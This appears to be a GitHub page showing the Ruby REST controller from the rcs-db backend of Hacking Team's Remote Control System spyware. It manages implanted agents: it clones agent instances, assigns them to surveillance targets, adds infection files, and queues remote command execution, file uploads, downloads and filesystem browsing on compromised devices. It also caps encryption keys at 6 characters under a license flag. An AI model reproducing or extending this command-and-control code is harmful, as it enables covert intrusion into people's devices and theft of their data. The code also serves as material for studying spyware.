hackedteam/rcs-db

View on GitHub
lib/rcs-db/rest/agent.rb

Summary

Maintainability
F
5 days
Test Coverage
#
# Controller for the Agent objects
#

require_relative '../license'
require_relative '../alert'

require 'rcs-common/crypt'

module RCS
module DB

class AgentController < RESTController
  include RCS::Crypt

  def index
    require_auth_level :tech, :view

    mongoid_query do
      fields = ["name", "desc", "status", "_kind", "path", "type", "ident", "instance", "version", "platform", "uninstalled",
                "upgradable", "demo", "level", "good", "stat.last_sync", "stat.last_sync_status", "stat.user", "stat.device",
                "stat.source", "stat.size", "stat.grid_size"]

      fields = fields.inject({}) { |h, f| h[f] = 1; h }
      selector = {'deleted' => {'$in' => [false, nil]}, 'user_ids' => @session.user[:_id], '_kind' => {'$in' => ['agent', 'factory']}}
      agents = Item.collection.find(selector).select(fields)

      ok(agents)
    end
  end
  
  def show
    require_auth_level :tech, :view

    mongoid_query do
      ag = ::Item.where(_id: @params['_id'], deleted: false).in(user_ids: [@session.user[:_id]]).only("name", "desc", "status", "_kind", "stat", "path", "type", "ident", "instance", "platform", "upgradable", "deleted", "uninstalled", "demo", "level", "good", "version", "counter", "configs")
      agent = ag.first
      return not_found if agent.nil?
      ok(agent)
    end
  end
  
  def update
    require_auth_level :tech
    
    updatable_fields = ['name', 'desc', 'status']
    
    mongoid_query do
      item = Item.any_in(user_ids: [@session.user[:_id]]).find(@params['_id'])
      
      @params.delete_if {|k, v| not updatable_fields.include? k }
      
      @params.each_pair do |key, value|
        if item[key.to_s] != value and not key['_ids']
          Audit.log :actor => @session.user[:name],
                    :action => "#{item._kind}.update",
                    :_item => item,
                    :desc => "Updated '#{key}' to '#{value}' for #{item._kind} #{item.name}"
        end
      end
      
      item.update_attributes(@params)
      
      return ok(item)
    end
  end
  
  def destroy
    require_auth_level :tech

    mongoid_query do
      item = Item.any_in(user_ids: [@session.user[:_id]]).find(@params['_id'])

      Audit.log :actor => @session.user[:name],
                :action => "#{item._kind}.delete",
                :_item => item,
                :desc => "Deleted #{item._kind} '#{item['name']}'"

      # if the deletion is permanent, destroy the item
      if @params['permanent']
        trace :info, "Agent #{item.name} permanently deleted"

        # mark as deleted to report to the console immediately
        item.deleted = true
        item.save

        task = {name: "delete evidence for #{item.name}",
                method: "::Item.offload_destroy",
                params: {id: item[:_id]}}

        OffloadManager.instance.run task

        return ok
      end

      # don't actually destroy the agent, but mark it as deleted
      item.deleted = true
      item.save

      # run the destroy callback to clean the evidence collection
      task = {name: "delete evidence for #{item.name}",
              method: "::Item.offload_destroy_callback",
              params: {id: item[:_id]}}

      OffloadManager.instance.run task

      return ok
    end
  end
  
  def create
    require_auth_level :tech
    require_auth_level :tech_factories

    # need a path to put the factory
    return bad_request('INVALID_OPERATION') unless @params.has_key? 'operation'

    mongoid_query do

      operation = ::Item.operations.find(@params['operation'])
      return bad_request('INVALID_OPERATION') if operation.nil?

      if @params['target'].nil?
        target = nil
      else
        target = ::Item.targets.find(@params['target'])
        return bad_request('INVALID_TARGET') if target.nil?
      end

      # used to generate log/conf keys and seed
      alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-'

      item = Item.create!(desc: @params['desc']) do |doc|
        doc[:_kind] = :factory
        doc[:path] = [operation._id]
        doc[:path] << target._id unless target.nil?
        doc.users = operation.users
        doc[:status] = :open
        doc[:type] = @params['type']
        doc[:ident] = get_new_ident
        doc[:name] = @params['name']
        doc[:name] ||= doc[:ident]
        doc[:type] = @params['type']
        doc[:counter] = 0
        seed = (0..11).inject('') {|x,y| x += alphabet[rand(0..alphabet.size-1)]}
        seed.setbyte(8, 46)
        doc[:seed] = seed
        doc[:confkey] = calculate_random_key
        doc[:logkey] = calculate_random_key
        doc[:configs] = []
      end

      Audit.log :actor => @session.user[:name],
                :action => "factory.create",
                :operation_name => operation['name'],
                :target_name => target ? target['name'] : '',
                :agent_name => item['name'],
                :desc => "Created factory '#{item['name']}'"

      item = Item.factories
        .only(:name, :desc, :status, :_kind, :path, :ident, :type, :counter, :configs, :good)
        .find(item._id)

      ok(item)
    end
  end

  def calculate_random_key
    # pur alphabet is 64 combination
    alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-'

    # NOTE about the key space:
    # the length of the key is 32 chars based on an alphabet of 64 combination
    # so the combinations are 64^32 that is 2^192 bits

    key = (0..31).inject('') {|x,y| x += alphabet[rand(0..alphabet.size-1)]}

    # reduce the key space if needed
    # if the license contains the flag to lower the encryption bits we have to
    # cap this to 2^40 so we can cut the key to 6 chars that is 64^6 == 2^36 bits

    key[6..-1] = "-" * (key.length - 6) if LicenseManager.instance.limits[:encbits]

    return key
  end

  def get_new_ident
    global = ::Item.where({_kind: 'global'}).first
    global = ::Item.new({_kind: 'global', counter: 0}) if global.nil?
    global.inc(:counter, 1)
    global.save
    "RCS_#{global.counter.to_s.rjust(10, "0")}"
  end

  def add_config
    require_auth_level :tech
    require_auth_level :tech_config

    mongoid_query do
      agent = Item.any_in(user_ids: [@session.user[:_id]]).find(@params['_id'])

      @params['desc'] ||= ''

      addresses = Configuration.sync_hosts(@params['config'])
      addresses.each do |address|
        raise "Unable to save the configuration. The address #{address} is blacklisted." if agent.good and Collector.blacklisted?(address)
        collector = Collector.where(address: address).first
        next unless collector
        raise "Incompatible collector #{address}" if collector.good != agent.good
      end

      case agent._kind
        when 'agent'
          # the config was not sent, replace it
          if agent.configs.last.sent.nil? or agent.configs.last.sent == 0
            @params.delete('_id')
            agent.configs.last.update_attributes(@params)
            config = agent.configs.last
          else
            config = agent.configs.create!(config: @params['config'], desc: @params['desc'])
          end
          
          config.saved = Time.now.getutc.to_i
          config.user = @session.user[:name]
          config.save

        when 'factory'
          agent.configs.delete_all
          config = agent.configs.create!(desc: agent.desc, config: @params['config'], user: @session.user[:name], saved: Time.now.getutc.to_i)
      end
      
      Audit.log :actor => @session.user[:name],
                :action => "#{agent._kind}.config",
                :_item => agent,
                :desc => "Saved configuration for agent '#{agent['name']}'"
      
      return ok(config)
    end
  end

  def update_config
    require_auth_level :tech
    require_auth_level :tech_config

    mongoid_query do
      agent = Item.any_in(user_ids: [@session.user[:_id]]).where(_kind: 'agent').find(@params['_id'])
      config = agent.configs.where({:_id => @params['config_id']}).first

      config[:desc] = @params['desc']
      config.save

      return ok
    end
  end

  def del_config
    require_auth_level :tech
    require_auth_level :tech_config

    mongoid_query do
      agent = Item.any_in(user_ids: [@session.user[:_id]]).where(_kind: 'agent').find(@params['_id'])
      agent.configs.find(@params['config_id']).destroy

      Audit.log :actor => @session.user[:name],
                :action => "#{agent._kind}.del_config",
                :_item => agent,
                :desc => "Deleted configuration for agent '#{agent['name']}'"
      
      return ok
    end
  end
  
  # retrieve the factory key of the agents
  # if the parameter is specified, it take only that class
  # otherwise, return all the keys for all the classes
  def factory_keys
    require_auth_level :server
    
    classes = {}
    
    # request for a specific instance
    if @params['_id']
      Item.where({_kind: 'factory', ident: @params['_id']}).each do |entry|
        classes[entry[:ident]] = {key: entry[:confkey], good: entry[:good]}
      end
    # all of them
    else
      Item.where({_kind: 'factory'}).each do |entry|
        classes[entry[:ident]] = {key: entry[:confkey], good: entry[:good]}
      end
    end
    
    return ok(classes)
  end
  
  # retrieve the status of a agent instance.
  def status
    require_auth_level :server, :tech
    
    demo = (@params['demo'] == 'true') ? true : false
    level = @params['level'].to_sym
    platform = @params['platform'].downcase

    # retro compatibility for older agents (pre 8.0) sending win32, win64, ios, osx
    case platform
      when 'win32', 'win64'
        platform = 'windows'
      when 'winmobile'
        platform = 'winmo'
      when 'iphone'
        platform = 'ios'
      when 'macos'
        platform = 'osx'
    end

    # is the agent already in the database? (has it synchronized at least one time?)
    agent = Item.where({_kind: 'agent', ident: @params['ident'], instance: @params['instance'].downcase, platform: platform, demo: demo}).first

    # yes it is, return the status
    unless agent.nil?
      trace :info, "#{agent[:name]} status is #{agent[:status]} [#{agent[:ident]}:#{agent[:instance]}] (demo: #{demo}, level: #{level}, good: #{agent[:good]})"

      # if the agent was queued, but now we have a license, use it and set the status to open
      # a demo agent will never be queued
      if agent[:status] == 'queued' and LicenseManager.instance.burn_one_license(agent.type.to_sym, agent.platform.to_sym)
        agent.status = 'open'
        agent.save
      end

      # the agent was a scout but now is upgraded to elite
      if agent.level.eql? :scout and level.eql? :elite
        # add the upload files for the first sync
        agent.add_first_time_uploads

        # add the files needed for the infection module
        agent.add_infection_files if agent.platform == 'windows'
      end

      # update the level
      if agent.level != level
        agent.level = level
        agent.save
      end

      status = {:deleted => agent[:deleted], :status => agent[:status].upcase, :_id => agent[:_id], :good => agent[:good]}
      return ok(status)
    end

    factory = nil

    synchronize do
      # search for the factory of that instance
      factory = Item.where({_kind: 'factory', ident: @params['ident'], status: 'open'}).first

      if factory && factory.good
        # increment the instance counter for the factory
        factory[:counter] += 1
        factory.save
      end
    end

    # the status of the factory must be open otherwise no instance can be cloned from it
    return not_found("Factory not found: #{@params['ident']}") if factory.nil?

    # the status of the factory must be open otherwise no instance can be cloned from it
    return not_found("Factory marked as compromised found: #{@params['ident']}") unless factory.good

    trace :info, "Creating new instance for #{factory[:ident]} (#{factory[:counter]})"

    # clone the new instance from the factory
    agent = factory.clone_instance

    # check where the factory is:
    # if inside a target, just create the instance
    # if inside an operation, we have to create a target for each instance
    parent = Item.find(factory.path.last)

    if parent[:_kind] == 'target'
      agent.path = factory.path
    elsif parent[:_kind] == 'operation'
      target = Item.create(name: agent.name) do |doc|
        doc[:_kind] = :target
        doc[:path] = factory.path
        doc.users = parent.users
        doc.stat = ::Stat.new
        doc[:status] = :open
        doc[:desc] = "Created automatically on first sync from: #{agent.name}"
      end

      agent.path = factory.path << target._id
    end

    # specialize it with the platform and the unique instance
    agent.platform = platform
    agent.instance = @params['instance'].downcase
    agent.demo = demo
    agent.level = level

    # default is queued
    agent.status = 'queued'

    # demo agent don't consume any license
    agent.status = 'open' if demo
    
    # check the license to see if we have room for another agent
    if demo == false and LicenseManager.instance.burn_one_license(agent.type.to_sym, agent.platform.to_sym)
      agent.status = 'open'
    end

    # save the new instance in the db
    agent.save

    # the scout must not receive the first uploads
    if level.eql? :elite
      # add the upload files for the first sync
      agent.add_first_time_uploads

      # add the files needed for the infection module
      agent.add_infection_files if agent.platform == 'windows'
    end

    # check for alerts on this new instance
    Alerting.new_instance agent

    # notify the injectors of the infection
    ::Injector.all.each {|p| p.disable_on_sync(factory)}

    status = {:deleted => agent[:deleted], :status => agent[:status].upcase, :_id => agent[:_id], :good => agent[:good]}
    return ok(status)
  end

  def uninstall
    require_auth_level :server

    mongoid_query do
      agent = Item.find(@params['_id'])

      Audit.log :actor => '<system>',
                    :action => "agent.uninstall",
                    :_item => agent,
                    :desc => "Has sent the uninstall command to '#{agent['name']}'"

      agent.uninstalled = true
      agent.save

      return ok(agent)
    end
  end

  # this methods is an helper to reduce the number of requests the collector
  # has to perform during the ident phase
  def availables
    require_auth_level :server

    agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
    return not_found("Agent not found: #{@params['_id']}") if agent.nil?

    availables = []

    # config
    conf = agent.configs.last
    availables << :config if conf and conf.activated.nil?
    # purge
    availables << :purge if agent.purge and agent.purge != [0,0]
    # uploads
    availables << :upload if agent.upload_requests.where({sent: 0}).count > 0
    # upgrade
    availables << :upgrade if agent.upgrade_requests.count > 0
    # exec
    availables << :exec if agent.exec_requests.count > 0
    # downloads
    availables << :download if agent.download_requests.count > 0
    # filesystem
    availables << :filesystem if agent.filesystem_requests.count > 0

    trace :info, "[#{@request[:peer]}] Availables for #{agent.name} are: #{availables.inspect}" if availables.size > 0

    return ok(availables)
  end

  def config
    require_auth_level :server, :tech
    
    agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
    return not_found("Agent not found: #{@params['_id']}") if agent.nil?

    # no config for scouts
    return not_found if agent.level.eql? :scout

    # don't send the config to agent too old
    if agent.level.eql? :elite and agent.version < 2012041601
      trace :info, "Agent #{agent.name} is too old (#{agent.version}), new config will be skipped"
      return not_found
    end

    case @request[:method]
      when 'GET'
        config = agent.configs.last
        return not_found if config.nil? or config.activated

        # we have sent the configuration, wait for activation
        config.sent = Time.now.getutc.to_i
        config.save

        # add the files needed for the infection module
        agent.add_infection_files if agent.platform == 'windows'

        # encrypt the config for the agent using the confkey
        case agent.level
          when :elite
            enc_config = config.encrypted_config(agent[:confkey])
          when :soldier
            enc_config = config.encrypted_soldier_config(agent[:confkey])
        end

        return ok(enc_config, {content_type: 'binary/octet-stream'})
        
      when 'DELETE'
        config = agent.configs.last
        # consistency check (don't allow a config which is activated but never sent)
        config.sent = Time.now.getutc.to_i if config.sent.nil? or config.sent == 0
        config.activated = Time.now.getutc.to_i
        config.save

        trace :info, "[#{@request[:peer]}] Configuration sent [#{@params['_id']}]"
    end
    
    return ok
  end


  # retrieve the list of upload for a given agent
  def uploads
    require_auth_level :server, :tech

    agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

    if server?
      list = agent.upload_requests.where({sent: 0})
    else
      list = agent.upload_requests
    end

    return ok(list)
  end

  # retrieve or delete a single upload entity
  def upload
    require_auth_level :server, :tech

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

      case @request[:method]
        when 'GET'
          upl = agent.upload_requests.where({ _id: @params['upload']}).first
          content = GridFS.get upl[:_grid]
          trace :info, "[#{@request[:peer]}] Requested the UPLOAD #{@params['upload']} -- #{content.file_length.to_s_bytes}"
          return ok(content.read, {content_type: content.content_type})
        when 'POST'
          require_auth_level :tech_upload

          return conflict('NO_UPLOAD') unless LicenseManager.instance.check :modify

          upl = @params['upload']
          file = @params['upload'].delete 'file'
          upl['_grid'] = GridFS.put(File.open(Config.instance.temp(file), 'rb+') {|f| f.read}, {filename: upl['filename']})
          upl['_grid_size'] = File.size Config.instance.temp(file)
          File.delete Config.instance.temp(file)
          agent.upload_requests.create(upl)
          Audit.log :actor => @session.user[:name], :action => "agent.upload", :desc => "Added an upload request for agent '#{agent['name']}'", :_item => agent
        when 'DELETE'
          agent.upload_requests.where({ _id: @params['upload']}).update({sent: Time.now.to_i})
          trace :info, "[#{@request[:peer]}] Deleted the UPLOAD #{@params['upload']}"
      end

      return ok
    end
  end

  # fucking flex that does not support the DELETE http method
  def upload_destroy
    require_auth_level :tech
    require_auth_level :tech_upload

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      agent.upload_requests.find(@params['upload']).destroy
      Audit.log :actor => @session.user[:name], :action => "agent.upload", :desc => "Removed an upload request for agent '#{agent['name']}'", :_item => agent
      return ok
    end
  end

  # retrieve the list of upgrade for a given agent
  def upgrades
    require_auth_level :server, :tech
    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      list = agent.upgrade_requests

      return ok(list)
    end
  end
  
  # retrieve or delete a single upgrade entity
  def upgrade
    require_auth_level :server, :tech

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

      case @request[:method]
        when 'GET'
          upl = agent.upgrade_requests.where({ _id: @params['upgrade']}).first
          content = GridFS.get upl[:_grid]
          trace :debug, "[#{@request[:peer]}] Requested the UPGRADE #{@params['upgrade']} -- #{content.file_length.to_s_bytes}"
          return ok(content.read, {content_type: content.content_type})
        when 'POST'
          require_auth_level :tech_build

          Audit.log :actor => @session.user[:name], :action => "agent.upgrade", :desc => "Requested an upgrade for agent '#{agent['name']}'", :_item => agent
          trace :info, "Agent #{agent.name} request for upgrade"
          agent.upgrade! @params
          trace :info, "Agent #{agent.name} scheduled for upgrade"
        when 'DELETE'
          agent.upgrade_requests.destroy_all
          agent.upgradable = false
          agent.save
          trace :info, "Agent #{agent.name} upgraded"
      end

      return ok
    end
  end

  def can_upgrade
    require_auth_level :tech

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      # elite must not be checked for blacklisted software
      return ok(:elite) if agent.level.eql? :elite
      # if already soldier, upgrade to soldier
      return ok(:soldier) if agent.level.eql? :soldier
      # check if the agent can be upgraded and to which kind of agent
      kind = agent.blacklisted_software?
      trace :info, "Agent #{agent.name} can be upgraded to: #{kind}"
      return ok(kind)
    end
  end

  def blacklist
    require_auth_level :tech
    return ok(File.read(RCS::DB::Config.instance.file('blacklist')))
  end

  def disable_analysis
    require_auth_level :tech
    File.write(RCS::DB::Config.instance.file('blacklist_analysis'), "zzz #disabled by tests")
    return ok
  end

  # retrieve the list of download for a given agent
  def downloads
    require_auth_level :server, :tech

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      list = agent.download_requests

      return ok(list)
    end
  end

  def download
    require_auth_level :server, :tech, :view

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

      case @request[:method]
        when 'POST'
          agent.download_requests.create(@params['download'])
          trace :info, "[#{@request[:peer]}] Added download request #{@params['download']}"
          Audit.log :actor => @session.user[:name], :action => "agent.download", :desc => "Added a download request for agent '#{agent['name']}'", :_item => agent
        when 'DELETE'
          agent.download_requests.find(@params['download']).destroy
          trace :info, "[#{@request[:peer]}] Deleted the DOWNLOAD #{@params['download']}"
      end

      return ok
    end
  end

  # fucking flex that does not support the DELETE http method
  def download_destroy
    require_auth_level :tech

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      agent.download_requests.find(@params['download']).destroy
      Audit.log :actor => @session.user[:name], :action => "agent.download", :desc => "Removed a download request for agent '#{agent['name']}'", :_item => agent
      return ok
    end
  end

  # retrieve the list of filesystem for a given agent
  def filesystems
    require_auth_level :server, :view

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      list = agent.filesystem_requests

      return ok(list)
    end
  end
  
  def filesystem
    require_auth_level :server, :view

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

      return not_found() if agent.nil?

      case @request[:method]
        when 'POST'
          require_auth_level :view_filesystem

          begin
            if @params['filesystem']['path'] == 'default'
              agent.add_default_filesystem_requests
            else
              agent.filesystem_requests.create!(@params['filesystem'])
            end
          rescue Mongoid::Errors::Validations => error
            return bad_request('ALREADY_PENDING') if error.document.errors['path']
            raise error
          end

          trace :info, "[#{@request[:peer]}] Added filesystem request #{@params['filesystem']}"
          Audit.log :actor => @session.user[:name], :action => "agent.filesystem", :desc => "Added a filesystem request for agent '#{agent['name']}'", :_item => agent
        when 'DELETE'
          agent.filesystem_requests.find(@params['filesystem']).destroy
          trace :info, "[#{@request[:peer]}] Deleted the FILESYSTEM #{@params['filesystem']}"
      end

      return ok
    end
  end

  # fucking flex that does not support the DELETE http method
  def filesystem_destroy
    require_auth_level :view
    require_auth_level :view_filesystem

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      agent.filesystem_requests.find(@params['filesystem']).destroy
      Audit.log :actor => @session.user[:name], :action => "agent.filesystem", :desc => "Removed a filesystem request for agent '#{agent['name']}'", :_item => agent
      return ok
    end
  end

  def purge
    require_auth_level :server, :tech, :view

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

      return not_found() if agent.nil?

      case @request[:method]
        when 'GET'
          purge = [0, 0]
          purge = agent.purge unless agent.purge.nil?
          return ok(purge)
        when 'POST'
          # purge local pending requests
          agent.upload_requests.destroy_all
          agent.filesystem_requests.destroy_all
          agent.download_requests.destroy_all
          agent.upgrade_requests.destroy_all
          agent.upgradable = false

          agent.purge = @params['purge']
          agent.save
          trace :info, "[#{@request[:peer]}] Added purge request #{@params['purge']}"
          Audit.log :actor => @session.user[:name], :action => "agent.purge", :desc => "Issued a purge request for agent '#{agent['name']}'", :_item => agent
        when 'DELETE'
          agent.purge = [0, 0]
          agent.save
          trace :info, "[#{@request[:peer]}] Purge command reset"
      end

      return ok
    end
  end

  def exec
    require_auth_level :server, :tech, :view

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first

      case @request[:method]
        when 'GET'
          list = agent.exec_requests
          return ok(list)
        when 'POST'
          require_auth_level :tech_exec

          return conflict('NO_EXEC') unless LicenseManager.instance.check :modify

          agent.exec_requests.create(@params['exec'])
          trace :info, "[#{@request[:peer]}] Added download request #{@params['exec']}"
          Audit.log :actor => @session.user[:name], :action => "agent.exec", :desc => "Added a command execution request for agent '#{agent['name']}'", :_item => agent
        when 'DELETE'
          agent.exec_requests.find(@params['exec']).destroy
          trace :info, "[#{@request[:peer]}] Deleted the EXEC #{@params['exec']}"
      end

      return ok
    end
  end

  # fucking flex that does not support the DELETE http method
  def exec_destroy
    require_auth_level :tech
    require_auth_level :tech_exec

    mongoid_query do
      agent = Item.where({_kind: 'agent', _id: @params['_id']}).first
      agent.exec_requests.find(@params['exec']).destroy
      Audit.log :actor => @session.user[:name], :action => "agent.exec", :desc => "Removed a command execution request for agent '#{agent['name']}'", :_item => agent
      return ok
    end
  end

  private

  def synchronize(&block)
    @@mutext ||= Mutex.new
    @@mutext.synchronize(&block)
  end
end

end #DB::
end #RCS::